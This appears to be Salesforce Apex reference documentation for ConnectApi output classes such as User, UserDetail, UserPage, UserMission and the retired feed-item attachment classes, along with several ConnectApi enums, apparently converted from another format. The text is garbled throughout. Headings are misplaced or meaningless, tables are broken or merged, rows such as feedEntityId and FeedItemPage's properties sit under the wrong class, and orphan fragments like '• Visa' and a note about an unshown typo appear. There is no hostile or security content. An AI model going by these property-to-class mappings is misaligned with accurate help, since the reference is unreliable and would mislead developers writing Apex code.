ConnectApi.UpVoteSummary

Summary of an upvote.

Subclass of ConnectApi.UserFeedEntityActivitySummary

No additional properties.

ConnectApi.User

User.

This class is abstract.

Subclass of ConnectApi.ActorWithId.

Superclass of:
- ConnectApi.UserDetail
- ConnectApi.UserSummary
<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>additionalLabel</td>
<td>String</td>
<td>An extra label for the user, for example, “Customer,” “Partner,” or “Acme Corporation.” If the user doesn’t have an extra label, the value is null.</td>
<td>30.0</td>
</tr>
<tr>
<td>communityNickname</td>
<td>String</td>
<td>User’s nickname in the site.</td>
<td>32.0</td>
</tr>
<tr>
<td>companyName</td>
<td>String</td>
<td>Name of the company. If your Experience Cloud site allows access without logging in, the value is null for guest users.</td>
<td>28.0</td>
</tr>
<tr>
<td>displayName</td>
<td>String</td>
<td>User’s name that is displayed in the site. If nicknames are enabled, the nickname is displayed. If nicknames aren’t enabled, the full name is displayed.</td>
<td>32.0</td>
</tr>
<tr>
<td>firstName</td>
<td>String</td>
<td>User’s first name. In version 39.0 and later, if nicknames are enabled, firstName is null.</td>
<td>28.0</td>
</tr>
<tr>
<td>isChatterGuest</td>
<td>Boolean</td>
<td>true if user is a Chatter customer; false otherwise.</td>
<td>28.0</td>
</tr>
<tr>
<td>isInThisCommunity</td>
<td>Boolean</td>
<td>true if user is in the same site as the context user; false otherwise.</td>
<td>28.0</td>
</tr>
<tr>
<td>lastName</td>
<td>String</td>
<td>User’s last name. In version 39.0 and later, if nicknames are enabled, lastName is null.</td>
<td>28.0</td>
</tr>
<tr>
<td>outOfOffice</td>
<td>ConnectApi.OutOfOffice</td>
<td>Extra out-of-office message, if one exists, for the user.</td>
<td>40.0</td>
</tr>

### ConnectApi.UserActivitiesJob

User activities job.

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>jobToken</td>
<td>String</td>
<td>Token that identifies the user activities job.</td>
<td>42.0</td>
</tr>
<tr>
<td>jobType</td>
<td>String</td>
<td>Type of user activities job. Value is <code>export</code> or <code>purge</code>.</td>
<td>42.0</td>
</tr>
<tr>
<td>message</td>
<td>String</td>
<td>Message describing the status and expected outcome of the job.</td>
<td>42.0</td>
</tr>
</tbody>
</table>

When the job completes, you receive an email with information about the Salesforce file that contains `ConnectApi.UserActivityCollection`.

---

### ConnectApi.UserActivityCollection

User activity collection.

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>activityType</td>
<td>String</td>
<td>Type of user activity. Values are:</td>

<tr>
<td></td>
<td></td>
<td>- <code>Bookmark</code>—User bookmarked a post.</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>- <code>ChatterActivity</code>—Total counts of posts and comments made and likes and comments received for a user.</td>
<td></td>
</tr>
</tbody>
</table>
## Available Version Description Type Property Name

- ChatterLike—User liked a post or comment.
- Comment—User commented on a post.
- CompanyVerify—User verified comment.
- DownVote—User downvoted a post or comment.
- FeedEntityRead—User read a post.
- FeedRead—User read a feed.
- Mute—User muted a post.
- Post—User made a post.
- TopicEndorsement—User endorsed another user on a topic or received endorsement on a topic.
- UpVote—User upvoted a post or comment.

### ConnectApi.UserCapabilities

Capabilities associated with a user profile.

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>canChat</td>
<td>Boolean</td>
<td>Specifies if the context user can use Chatter Messenger with the subject user ((true)) or not ((false))</td>
<td>29.0</td>
</tr>
<tr>
<td>canDirectMessage</td>
<td>Boolean</td>
<td>Specifies if the context user can direct message the subject user ((true)) or not ((false))</td>
<td>29.0</td>
</tr>
<tr>
<td>canEdit</td>
<td>Boolean</td>
<td>Specifies if the context user can edit the subject user’s account ((true)) or not ((false))</td>
<td>29.0</td>
</tr>
<tr>
<td>canFollow</td>
<td>Boolean</td>
<td>Specifies if the context user can follow the subject user’s feed ((true)) or not ((false))</td>
<td>29.0</td>
</tr>
<tr>
<td>canViewFeed</td>
<td>Boolean</td>
<td>Specifies if the context user can view the feed of the subject user ((true)) or not ((false))</td>
<td>29.0</td>
</tr>
<tr>
<td>canViewFullProfile</td>
<td>Boolean</td>
<td>Specifies if the context user can view the full profile of the subject user ((true)) or only the limited profile ((false))</td>
<td>29.0</td>
</tr>
</tbody>
</table>
### isModerator

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>isModerator</td>
<td>Boolean</td>
<td>Specifies if the subject user is a Chatter moderator or admin (<code>true</code>) or not (<code>false</code>)</td>
<td>29.0</td>
</tr>
</tbody>
</table>

- `ConnectApi.UserProfile`

### ConnectApi.UserChatterSettings

User’s global Chatter settings.

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>defaultGroup</td>
<td><code>ConnectApi.GroupEmail</code></td>
<td>The default frequency with which a user receives email from a group when they join it.</td>
<td>28.0</td>
</tr>
<tr>
<td>EmailFrequency</td>
<td><code>FrequencyEnum</code></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

### ConnectApi.UserDetail

Details about a user in an org.

Subclass of `ConnectApi.User`.

If the context user doesn’t have permission to see a property, its value is set to `null`.

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>aboutMe</td>
<td>String</td>
<td>Text from user’s profile.</td>
<td>28.0</td>
</tr>
<tr>
<td>address</td>
<td><code>ConnectApi.Address</code></td>
<td>User’s address.</td>
<td>28.0</td>
</tr>
<tr>
<td>bannerPhoto</td>
<td><code>ConnectApi.BannerPhoto</code></td>
<td>User’s banner photo.</td>
<td>36.0</td>
</tr>
<tr>
<td>chatterActivity</td>
<td><code>ConnectApi.ChatterActivity</code></td>
<td>Chatter activity statistics.</td>
<td>28.0</td>
</tr>
<tr>
<td>chatterInfluence</td>
<td><code>ConnectApi.GlobalInfluence</code></td>
<td>User’s influence rank.</td>
<td>28.0</td>
</tr>
<tr>
<td>email</td>
<td>String</td>
<td>User’s email address.</td>
<td>28.0</td>
</tr>
<tr>
<td>followersCount</td>
<td>Integer</td>
<td>Number of users following this user.</td>
<td>28.0</td>
</tr>
<tr>
<td>followingCounts</td>
<td><code>ConnectApi.FollowingCounts</code></td>
<td>Information about items the user is following.</td>
<td>28.0</td>
</tr>
<tr>
<td>groupCount</td>
<td>Integer</td>
<td>Number of groups user is following.</td>
<td>28.0</td>
</tr>
<tr>
<td>hasChatter</td>
<td>Boolean</td>
<td><code>true</code> if user has access to Chatter; <code>false</code> otherwise.</td>
<td>31.0</td>
</tr>
<tr>
<td>Name</td>
<td>Type</td>
<td>Description</td>
<td>Available Version</td>
</tr>
<tr>
<td>--------------------</td>
<td>-----------------</td>

<tr>
<td>feedEntityId</td>
<td>String</td>
<td>ID of the feed entity.</td>
<td>42.0</td>
</tr>
</tbody>
</table>

**ConnectApi.UserGroupDetailPage**
A page of groups that a user is a member of.
### ConnectApi.UserGroupPage

A paginated list of groups the context user is a member of.

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>currentPageUrl</td>
<td>String</td>
<td>Connect REST API URL identifying the current page.</td>
<td>28.0</td>
</tr>
<tr>
<td>groups</td>
<td>List&lt;ConnectApi.ChatterGroupDetail&gt;</td>
<td>List of groups.</td>
<td>28.0</td>
</tr>
<tr>
<td>nextPageUrl</td>
<td>String</td>
<td>Connect REST API URL identifying the next page, or null if there isn’t a next page.</td>
<td>28.0</td>
</tr>
<tr>
<td>previousPageUrl</td>
<td>String</td>
<td>Connect REST API URL identifying the previous page, or null if there isn’t a previous page.</td>
<td>28.0</td>
</tr>
<tr>
<td>total</td>
<td>Integer</td>
<td>Total number of groups across all pages.</td>
<td>28.0</td>
</tr>
</tbody>
</table>

### ConnectApi.UserMission

Mission details for a user.

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>missionName</td>
<td>String</td>
<td>Name of the mission.</td>
<td>46.0</td>
</tr>
<tr>
<td>missionThreshold</td>
<td>Integer</td>
<td>Threshold of the mission. When a user reaches this activity count, the mission is achieved.</td>
<td>46.0</td>
</tr>
</tbody>
</table>

### ConnectApi.UserMissionActivitiesJob

User mission activities job.
### Available Version

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>jobToken</td>
<td>String</td>
<td>Token that identifies the mission user activities job.</td>
<td>45.0</td>
</tr>
<tr>
<td>jobType</td>
<td>String</td>
<td>Type of user activities job, either export or purge.</td>
<td>45.0</td>
</tr>
<tr>
<td>message</td>
<td>String</td>
<td>Message describing the status and expected outcome of the job.</td>
<td>45.0</td>
</tr>
<tr>
<td></td>
<td></td>
<td>When the job completes, you receive an email with information about the Salesforce file that contains <code>ConnectApi.UserMissionActivityCollection</code>.</td>
<td></td>
</tr>
</tbody>
</table>

### ConnectApi.UserMissionActivity

User activity associated with missions.

No additional properties.

### ConnectApi.UserMissionActivityCollection

List of mission activities for a user.

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>community</td>
<td><code>ConnectApi.CommunitySummary</code></td>
<td>Experience Cloud site in which the user performed activities.</td>
<td>45.0</td>
</tr>
<tr>
<td>userId</td>
<td>String</td>
<td>ID of the user.</td>
<td>45.0</td>
</tr>
<tr>
<td>userMissionActivities</td>
<td>List&lt;<code>ConnectApi.AbstractUserMissionActivity</code>&gt;</td>
<td>List of mission activities performed by the user.</td>
<td>45.0</td>

### ConnectApi.UserMissionActivityStatus

Status of mission activity for a user.

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>message</td>
<td>String</td>
<td>Success or error message.</td>
<td>45.0</td>
</tr>
<tr>
<td>status</td>
<td>String</td>
<td>Status of mission activity for a user.</td>
<td>45.0</td>
</tr>
</tbody>
</table>
### ConnectApi.UserOauthInfo

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>availableExternal</td>
<td>Connect.Oauth.ProviderInfo</td>
<td>The available OAuth service provider.</td>
<td>37.0</td>
</tr>
<tr>
<td>EmailService</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>isAuthenticated</td>
<td>Boolean</td>
<td>Specifies whether the user is authenticated (true) or not (false).</td>
<td>37.0</td>
</tr>
</tbody>
</table>

### ConnectApi.UserPage

Page of users.

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>currentPageToken</td>
<td>Integer</td>
<td>Token identifying the current page.</td>
<td>28.0</td>
</tr>
<tr>
<td>currentPageUrl</td>
<td>String</td>
<td>Connect REST API URL identifying the current page.</td>
<td>28.0</td>
</tr>
<tr>
<td>nextPageToken</td>
<td>Integer</td>
<td>Token identifying the next page, or null if there isn't a next page.</td>
<td>28.0</td>
</tr>
<tr>
<td>nextPageUrl</td>
<td>String</td>
<td>Connect REST API URL identifying the next page, or null if there isn't a next page.</td>
<td>28.0</td>
</tr>
<tr>
<td>previousPageToken</td>
<td>Integer</td>
<td>Token identifying the previous page, or null if there isn't a previous page.</td>
<td>28.0</td>
</tr>
<tr>
<td>previousPageUrl</td>
<td>String</td>
<td>Connect REST API URL identifying the previous page, or null if there isn't a previous page.</td>
<td>28.0</td>
</tr>
<tr>
<td>users</td>
<td>List&lt;ConnectApi.UserDetail&gt;</td>
<td>List of user detail information. If the context user doesn't have permission to see a property, the property is set to null.</td>
<td>28.0</td>
</tr>
</tbody>
</table>

### ConnectApi.UserProfile

Details necessary to render a view of a user profile.

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>capabilities</td>
<td>ConnectApi.UserCapabilities</td>
<td>The context user’s capabilities specific to the subject user's profile.</td>
<td>29.0</td>
</tr>
<tr>
<td>id</td>
<td>String</td>
<td>The ID of the user attached to the profile.</td>
<td>29.0</td>
</tr>
<tr>
<td>tabs</td>
<td>List&lt;ConnectApi.UserProfileTab&gt;</td>
<td>The tabs visible to the context user specific to the subject user's profile.</td>
<td>29.0</td>
</tr>
<tr>
<td>url</td>
<td>String</td>
<td>The URL of the user’s profile.</td>
<td>29.0</td>
</tr>
<tr>
<td>userDetail</td>
<td>ConnectApi.UserDetail</td>
<td>The details about the user attached to the profile.</td>
<td>29.0</td>
</tr>
</tbody>
</table>
### ConnectApi.UserProfileTab

Information about a profile tab.

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>id</td>
<td>String</td>
<td>The tab's unique identifier or 18-character ID</td>
<td>29.0</td>
</tr>
<tr>
<td>isDefault</td>
<td>Boolean</td>
<td>Specifies if the tab appears first when clicking the user profile (true) or not (false)</td>
<td>29.0</td>
</tr>
</tbody>
</table>
| tabType       | ConnectApi.UserProfileTabType Enum | Specifies the type of tab  

- CustomVisualForce—Tab that displays data from a Visualforce page.  
- CustomWeb—Tab that displays data from any external web-based application or web page.  
- Element—Tab that displays generic content inline.  
- Feed—Tab that displays the Chatter feed.  
- Overview—Tab that displays user details. |
| tabUrl        | String              | The current tab’s content URL (for non built-in tab types)                  | 29.0              |

### ConnectApi.UserReferencePage

A list of user references.

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>currentPageUrl</td>
<td>String</td>
<td>URL to the current page.</td>
<td>35.0</td>
</tr>
<tr>
<td>nextPageUrl</td>
<td>String</td>
<td>URL to the next page.</td>
<td>35.0</td>
</tr>
<tr>
<td>previousPageUrl</td>
<td>String</td>
<td>URL to the previous page.</td>
<td>35.0</td>
</tr>
<tr>
<td>userCount</td>
<td>Integer</td>
<td>Number of users in the collection.</td>
<td>35.0</td>
</tr>
<tr>
<td>users</td>
<td>List&lt;ConnectApi.UserReference&gt;</td>
<td>A collection of user references.</td>
<td>35.0</td>
</tr>
</tbody>
</table>

ConnectApi.ZoneSearchPage

## Retired ConnectApi Output Classes

These ConnectApi output classes are retired.

**IN THIS SECTION:**

- ConnectApi.ApprovalAttachment
  Attach an approval to a feed item.

- ConnectApi.BasicTemplateAttachment
  Attachments in feed items with type BasicTemplate.

- ConnectApi.CanvasTemplateAttachment
  Attachments in feed items with type CanvasPost.

- ConnectApi.CaseComment
  Attachments in feed items with type CaseCommentPost.

- ConnectApi.ContentAttachment
  Attachments in feed items with the type ContentPost.

- ConnectApi.DashboardComponentAttachment
  Attachments in feed items with type DashboardSnapshot.

- ConnectApi.EmailMessage
  Email message from a case.

- ConnectApi.FeedItemAttachment
  Feed item attachment.

- ConnectApi.FeedItemPage
  A paged collection of ConnectApi.FeedItem objects.

- ConnectApi.FeedItemTopicPage
  Feed item topic page.

- ConnectApi.FeedPoll
  Attachment of ConnectApi.FeedItem objects where the type property is PollPost.

- ConnectApi.LinkAttachment
  Link attached to a feed item.

- ConnectApi.NonEntityRecommendation
  A recommendation for a non-Salesforce entity, such as an application.

- ConnectApi.RecordSnapshotAttachment
  The fields of a record at the point in time when the record was created.
ConnectApi.TrackedChangeAttachment
Tracked change attachment to a feed item.

ConnectApi.ApprovalAttachment
Attach an approval to a feed item.

Important: This class isn’t available in version 32.0 and later. In version 32.0 and later, ConnectApi.ApprovalCapability is used.

Subclass of ConnectApi.FeedItemAttachment

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>id</td>
<td>String</td>
<td>A work item ID.</td>

<tr>
<td>runningUser</td>
<td>ConnectApi.UserSummary</td>
<td>The user running the dashboard.</td>
<td>28.0–31.0</td>
</tr>
<tr>
<td>thumbnailUrl</td>
<td>String</td>
<td>URL of the thumbnail-sized dashboard image.</td>
<td>28.0–31.0</td>
</tr>
</tbody>
</table>

### ConnectApi.EmailMessage

Email message from a case.

**Important:** This class isn’t available in version 32.0 and later. In version 32.0 and later, `ConnectApi.EmailMessageCapability` is used.

Subclass of `ConnectApi.FeedItemAttachment`

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>direction</td>
<td>ConnectApi.EmailMessageDirectionEnum</td>
<td>The direction of the email message.</td>
<td>29.0–31.0</td>
</tr>
<tr>
<td>emailMessageId</td>
<td>String</td>
<td>The ID of the email message.</td>
<td>29.0–31.0</td>
</tr>
<tr>
<td>subject</td>
<td>String</td>
<td>The subject of the email message.</td>
<td>29.0–31.0</td>
</tr>
<tr>
<td>textBody</td>
<td>String</td>
<td>The body of the email message.</td>
<td>29.0–31.0</td>
</tr>
<tr>
<td>toAddresses</td>
<td>List&lt;ConnectApi.EmailAddress&gt;</td>
<td>A list of email addresses to send the message to.</td>
<td>29.0–31.0</td>
</tr>
</tbody>
</table>
ConnectApi.FeedItemAttachment

Feed item attachment.

⚠️ **Important:** This class isn’t available in version 32.0 and later. In version 32.0 and later, `ConnectApi.FeedElementCapability` is used.

This class is abstract.

Subclasses:
- `ConnectApi.ApprovalAttachment`
- `ConnectApi.BasicTemplateAttachment`
- `ConnectApi.CanvasTemplateAttachment`
- `ConnectApi.EmailMessage`
- `ConnectApi.CaseComment`
- `ConnectApi.ContentAttachment`
- `ConnectApi.DashboardComponentAttachment`
- `ConnectApi.FeedPoll`
- `ConnectApi.LinkAttachment`
- `ConnectApi.RecordSnapshotAttachment`
- `ConnectApi.TrackedChangeAttachment`

Message segments in a feed item are typed as `ConnectApi.MessageSegment`. Feed item capabilities are typed as `ConnectApi.FeedItemCapability`. Record fields are typed as `ConnectApi.AbstractRecordField`. These classes are all abstract and have several concrete subclasses. At runtime you can use `instanceof` to check the concrete types of these objects and then safely proceed with the corresponding downcast. When you downcast, you must have a default case that handles unknown subclasses.

⚠️ **Important:** The composition of a feed may change between releases. Your code should always be prepared to handle instances of unknown subclasses.

ConnectApi.FeedItemPage

A paged collection of `ConnectApi.FeedItem` objects.

⚠️ **Important:** This class isn’t available in version 32.0 and later. In version 32.0 and later, `ConnectApi.FeedElementPage` is used.

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>currentPageToken</td>
<td>String</td>
<td>Token identifying the current page.</td>
<td>28.0–31.0</td>
</tr>
<tr>
<td>currentPageUrl</td>
<td>String</td>
<td>Connect REST API URL identifying the current page.</td>
<td>28.0–31.0</td>
</tr>
<tr>
<td>isModifiedToken</td>
<td>String</td>
<td>An opaque polling token to use in the since parameter of the <code>ChatterFeeds.isModified</code> method. The token describes when the feed was last modified.</td>
<td>28.0–31.0</td>
</tr>
</tbody>
</table>

⚠️ **Important:** This feature is available through a Feed Polling pilot program. This pilot program is closed and not accepting new participants.
### ConnectApi.Namespace

**Available Version**

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
<th>28.0–31.0</th>
</tr>
</thead>
<tbody>
<tr>
<td>isModifiedUrl</td>
<td>String</td>
<td>A Connect REST API URL with a <em>since</em> request parameter that contains an opaque token that describes when the feed was last modified. Returns null if the feed isn’t a news feed. Use this URL to poll a news feed for updates.</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td><strong>Important:</strong> This feature is available through a Feed Polling pilot program. This pilot program is closed and not accepting new participants.</td>
<td></td>
</tr>
<tr>
<td>items</td>
<td>List&lt;ConnectApi.FeedItem&gt;</td>
<td>List of feed items</td>
<td>28.0–31.0</td>
</tr>
<tr>
<td>nextPageToken</td>
<td>String</td>
<td>Token identifying the next page, or null if there isn’t a next page.</td>
<td>28.0–31.0</td>
</tr>
<tr>
<td>nextPageUrl</td>
<td>String</td>
<td>Connect REST API URL identifying the next page, or null if there isn’t a next page.</td>
<td>28.0–31.0</td>
</tr>
<tr>
<td>updatesToken</td>
<td>String</td>
<td>Token to use in an <em>updatedSince</em> parameter, or null if not available.</td>
<td>30.0–31.0</td>
</tr>
<tr>
<td>updatesUrl</td>
<td>String</td>
<td>A Connect REST API resource with a query string containing the value of the <em>updatesToken</em> property. The resource returns the feed items that have been updated since the last request. Use the URL as it is—do not modify it. Property is null if not available.</td>
<td>30.0–31.0</td>
</tr>
</tbody>
</table>

### ConnectApi.FeedItemTopicPage

Feed item topic page.

**Important:** This class isn’t available in version 32.0 and later. In version 32.0 and later, ConnectApi.TopicsCapability is used.

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
<th>28.0–31.0</th>
</tr>
</thead>
<tbody>
<tr>
<td>canAssignTopics</td>
<td>Boolean</td>
<td>true if a topic can be assigned to the feed item, false otherwise.</td>
<td>28.0–31.0</td>
</tr>
<tr>
<td>topics</td>
<td>List&lt;ConnectApi.Topic&gt;</td>
<td>List of topics.</td>
<td>28.0–31.0</td>
</tr>
</tbody>
</table>

### ConnectApi.FeedPoll

Attachment of ConnectApi.FeedItem objects where the *type* property is *PollPost*.

**Important:** This class isn’t available in version 32.0 and later. In version 32.0 and later, ConnectApi.PollCapability is used.

Subclass of ConnectApi.FeedItemAttachment.
### ConnectApi Namespace

#### Available Version

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>myChoiceId</td>
<td>String</td>
<td>ID of the poll choice that the context user has voted for in this poll. Returns null if the context user hasn’t voted.</td>
<td>28.0–31.0</td>
</tr>
<tr>
<td>totalVoteCount</td>
<td>Integer</td>
<td>Total number of votes cast on the feed poll item.</td>
<td>28.0–31.0</td>
</tr>
</tbody>
</table>

### ConnectApi.LinkAttachment

Link attached to a feed item.

**Important**: This class isn’t available in version 32.0 and later. In version 32.0 and later, `ConnectApi.LinkCapability` is used.

Subclass of `ConnectApi.FeedItemAttachment`.

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>title</td>
<td>String</td>
<td>Title given to the link if available, otherwise, null.</td>
<td>28.0–31.0</td>
</tr>
<tr>
<td>url</td>
<td>String</td>
<td>The link URL.</td>
<td>28.0–31.0</td>
</tr>
</tbody>
</table>

### ConnectApi.NonEntityRecommendation

A recommendation for a non-Salesforce entity, such as an application.

**Important**: `ConnectApi.NonEntityRecommendation` isn’t used in version 34.0 and later. In version 34.0 and later, `ConnectApi.EntityRecommendation` is used for all recommendations.

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>displayLabel</td>
<td>String</td>
<td>Localized label of the non-entity object.</td>
<td>32.0</td>
</tr>
<tr>
<td>motif</td>
<td><code>ConnectApi.Motif</code></td>
<td>Motif for the non-entity object.</td>
<td>32.0</td>
</tr>
</tbody>
</table>

### ConnectApi.RecordSnapshotAttachment

The fields of a record at the point in time when the record was created.

**Important**: This class isn’t available in version 32.0 and later. In version 32.0 and later, `ConnectApi.RecordSnapshotCapability` is used.

Subclass of `ConnectApi.FeedItemAttachment`.

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>recordView</td>
<td><code>ConnectApi.RecordView</code></td>
<td>The representation of the record.</td>
<td>29.0–31.0</td>
</tr>
</tbody>
</table>
ConnectApi.TrackedChangeAttachment

Tracked change attachment to a feed item.

⚠️ **Important:** This class isn’t available in version 32.0 and later. In version 32.0 and later, `ConnectApi.TrackedChangesCapability` is used.

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>changes</td>
<td>List&lt;ConnectApi.TrackedChangeItem&gt;</td>
<td>A list of tracked changes.</td>
<td>28.0–31.0</td>
</tr>
</tbody>
</table>

## ConnectApi Enums

 Enums specific to the ConnectApi namespace.

ConnectApi enums inherit all properties and methods of Apex enums.

Enums are not versioned. Enum values are returned in all API versions. Clients should handle values they don’t understand gracefully.

<table>
<thead>
<tr>
<th>Enum</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>ConnectApi.ActionLinkExecutionsAllowed</td>
<td>Number of times an action link can be executed.</td>
</tr>
<tr>
<td>- Once</td>
<td>An action link can be executed only once across all users.</td>
</tr>
<tr>
<td>- OncePerUser</td>
<td>An action link can be executed only once for each user.</td>
</tr>
<tr>
<td>- Unlimited</td>
<td>An action link can be executed an unlimited number of times by each user.</td>
</tr>
<tr>
<td>If the action link’s <code>actionType</code> is <code>Api</code> or <code>ApiAsync</code>, you can’t use this value.</td>
<td></td>
</tr>
<tr>
<td>ConnectApi.ActionLinkType</td>
<td>Type of action link.</td>
</tr>
<tr>
<td>- Api</td>
<td>The action link calls a synchronous API at the action URL. Salesforce sets the status to <code>SuccessfulStatus</code> or <code>FailedStatus</code> based on the HTTP status code returned by your server.</td>
</tr>
<tr>
<td>- ApiAsync</td>
<td>The action link calls an asynchronous API at the action URL. The action remains in a <code>PendingStatus</code> state until a third party makes a request to <code>/connect/action-links/actionLinkId</code> to set the status to <code>SuccessfulStatus</code> or <code>FailedStatus</code> when the asynchronous operation is complete.</td>
</tr>
<tr>
<td>- Download</td>
<td>The action link downloads a file from the action URL.</td>
</tr>
<tr>
<td>- Ui</td>
<td>The action link takes the user to a web page at the action URL.</td>
</tr>
<tr>
<td>ConnectApi.ActivitySharingTypeEnum</td>
<td>Type of sharing operation.</td>
</tr>
<tr>
<td>- Everyone</td>
<td>The activity is shared with everyone.</td>
</tr>
<tr>
<td>- MyGroups</td>
<td>The activity is shared only with a selection of the context user’s groups.</td>
</tr>
<tr>
<td>- OnlyMe</td>
<td>The activity is private.</td>
</tr>
<tr>
<td>ConnectApi.ArticleTopicJobType</td>
<td>Type of operation to perform on articles and topics.</td>
</tr>
<tr>
<td>- AssignTopicsToArticle</td>
<td>Assign topics to articles in a data category.</td>
</tr>
<tr>
<td>Enum</td>
<td>Description</td>
</tr>
<tr>
<td>------</td>
<td>-------------</td>
</tr>
<tr>
<td>Enum</td>
<td><strong>UnassignTopicsFromArticle</strong>—Unassign topics from articles in a data category.</td>
</tr>
</tbody>
</table>

**ConnectApi.**

</tr>
<tr>
<td>• Visa</td>
<td></td>
</tr>
</tbody>
</table>

### ConnectApi.CartItemSortOrder

Sort order for items in a cart.

- **CreatedDateAsc**—Sorts by oldest creation date.
- **CreatedDateDesc**—Sorts by most recent creation date.
- **NameAsc**—Sorts by name in ascending alphabetical order (A–Z).
- **NameDesc**—Sorts by name in descending alphabetical order (Z–A).
- **SalesPriceAsc**—Sorts from lowest to highest negotiated price.
- **SalesPriceDesc**—Sorts from highest to lowest negotiated price.

### ConnectApi.CartItemType

Type of item in a cart.

- **DeliveryCharge**
- **Product**

### ConnectApi.CartMessageSeverity

Severity of cart message.

- **Error**
- **Info**
- **Warning**

### ConnectApi.CartStatus

Status of the cart.

- **Active**—Cart is active.
- **Checkout**—Cart is in checkout.
- **Closed**—Cart is closed.
- **PendingDelete**—Cart is pending delete, for example, a user deleted the cart but the job hasn’t completed yet.
- **Processing**—Cart is processing.

### ConnectApi.CartType

Type of cart.

- **Cart**

### ConnectApi.CaseActorType

Type of user who made the comment.

- **Customer**—if a Chatter customer made the comment
- **CustomerService**—if a service representative made the comment

### ConnectApi.CaseCommentEventType

Event type of a comment in Case Feed.

- **NewInternal**—A case comment that has newly been marked Internal Only.
- **NewPublished**—A newly published case comment.
<table>
<thead>
<tr>
<th>Enum</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>ConnectApi.CommentType</td>
<td>Type of comment.</td>
</tr>
<tr>
<td>ConnectApi.CommunityFlagReasonType</td>
<td>Reason a post, comment, or file is flagged.</td>
</tr>
<tr>
<td>ConnectApi.CommunityFlagType</td>
<td>Type of moderation flag.</td>
</tr>
<tr>
<td>ConnectApi.CommunityFlagVisibility</td>
<td>Visibility behavior of a flag for various user types.</td>
</tr>
<tr>
<td>ConnectApi.ActivityType</td>
<td>Type of activity.</td>
</tr>
</tbody>
</table>

- NewPublishedByCustomer—A case comment by a customer that was newly published.
- PublishExisting—An existing case comment that was republished.
- PublishExistingByCustomer—An existing case comment by a customer that was republished.
- UnpublishExistingByCustomer—An existing case comment by a customer that was unpublished.
- UnpublishExisting—An existing case comment that was unpublished.

**Note:** Unfortunately, this typo is in the code, not the documentation. Use this spelling in your code.
<table>
<thead>
<tr>
<th>Enum</th>
<th>Description</th>

</thead>
</table>
| ConnectApi.DatacloudUserType | Type of user.  
- Monthly—A user type that’s assigned monthly point limits for purchasing Data.com records. Only the assigned user can use monthly points. Points expire at the end of the month. Monthly is the default setting for DatacloudUserType.  
- Listpool—A user type that allows users to draw from a pool of points to purchase Data.com records. |
